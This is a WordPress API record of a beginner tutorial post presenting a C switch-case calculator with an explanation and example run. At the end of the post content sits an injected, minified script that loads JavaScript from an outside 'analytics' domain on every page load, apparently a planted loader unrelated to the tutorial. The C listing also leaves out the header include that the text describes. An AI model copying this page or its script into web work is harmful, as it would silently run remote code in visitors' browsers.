{"id":1104,"date":"2025-11-21T08:52:23","date_gmt":"2025-11-21T03:22:23","guid":{"rendered":"https:\/\/codexplained.in\/?p=1104"},"modified":"2025-11-21T08:52:23","modified_gmt":"2025-11-21T03:22:23","slug":"simple-calculator-using-switch-case","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1104","title":{"rendered":"Simple Calculator using Switch Case:"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"><\/h1>\n\n\n\n\n\n<p>int main() {<br>char operator;<br>double num1, num2, result;<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/\/ Prompt the user for input\nprintf(&quot;Enter first number: &quot;);\nscanf(&quot;%lf&quot;, &amp;num1);\n\nprintf(&quot;Enter an operator (+, -, *, \/): &quot;);\nscanf(&quot; %c&quot;, &amp;operator);  \/\/ Notice the space before %c to consume any newline character\n\nprintf(&quot;Enter second number: &quot;);\nscanf(&quot;%lf&quot;, &amp;num2);\n\n\/\/ Perform calculation based on operator\nswitch (operator) {\n    case &#039;+&#039;:\n        result = num1 + num2;\n        printf(&quot;%.2lf + %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        break;\n    case &#039;-&#039;:\n        result = num1 - num2;\n        printf(&quot;%.2lf - %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        break;\n    case &#039;*&#039;:\n        result = num1 * num2;\n        printf(&quot;%.2lf * %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        break;\n    case &#039;\/&#039;:\n        \/\/ Check for division by zero\n        if (num2 != 0) {\n            result = num1 \/ num2;\n            printf(&quot;%.2lf \/ %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        } else {\n            printf(&quot;Error: Division by zero is not allowed.\\n&quot;);\n        }\n        break;\n    default:\n        printf(&quot;Error: Invalid operator.\\n&quot;);\n        break;\n}\n\nreturn 0;\n<\/pre><\/div>\n\n\n<p>}<\/p>\n\n\n\n<p>Explanation:-<\/p>\n\n\n\n<p><strong>Headers and Main Function<\/strong>: The code begins by including the standard input-output library (<code>&lt;stdio.h&gt;<\/code>) and defining the <code>main<\/code> function.<\/p>\n\n\n\n<p><strong>Variables Declaration<\/strong>: Four variables are declared:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>operator<\/code>: to store the arithmetic operator entered by the user.<\/li>\n\n\n\n<li><code>num1<\/code> and <code>num2<\/code>: to store the two numbers on which the operation will be performed.<\/li>\n\n\n\n<li><code>result<\/code>: to store the result of the operation.<\/li>\n<\/ul>\n\n\n\n<p><strong>User Input<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program prompts the user to enter the first number, the operator, and the second number. The <code>scanf<\/code> function is used to read these inputs.<\/li>\n<\/ul>\n\n\n\n<p><strong>Switch Case Statement<\/strong>: This statement evaluates the <code>operator<\/code> variable:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>For each case (<code>+<\/code>, <code>-<\/code>, <code>*<\/code>, <code>\/<\/code>), it performs the corresponding arithmetic operation and prints the result.<\/li>\n\n\n\n<li>If the operator is <code>\/<\/code>, it checks if the second number is zero to prevent division by zero. If it is zero, an error message is displayed.<\/li>\n<\/ul>\n\n\n\n<p><strong>Default Case<\/strong>: If the user enters an invalid operator, the program outputs an error message.<\/p>\n\n\n\n<p>Example:<\/p>\n\n\n\n<p>Suppose a user runs the program and enters the following:<\/p>\n\n\n\n<p>Enter first number: 10<br>Enter an operator (+, -, *, \/): +<br>Enter second number: 5<\/p>\n\n\n\n<p>10.00 + 5.00 = 15.00<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>int main() {char operator;double num1, num2, result; } Explanation:- Headers and Main Function: The code begins by including the standard input-output library (&lt;stdio.h&gt;) and defining the main function. Variables Declaration: Four variables are declared: User Input: Switch Case Statement: This statement evaluates the operator variable: Default Case: If the user enters an invalid operator, the [&hellip;]<\/p>\n","protected":false},"author":49,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1104","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/49"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1104"}],"version-history":[{"count":1,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1104\/revisions"}],"predecessor-version":[{"id":1230,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1104\/revisions\/1230"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}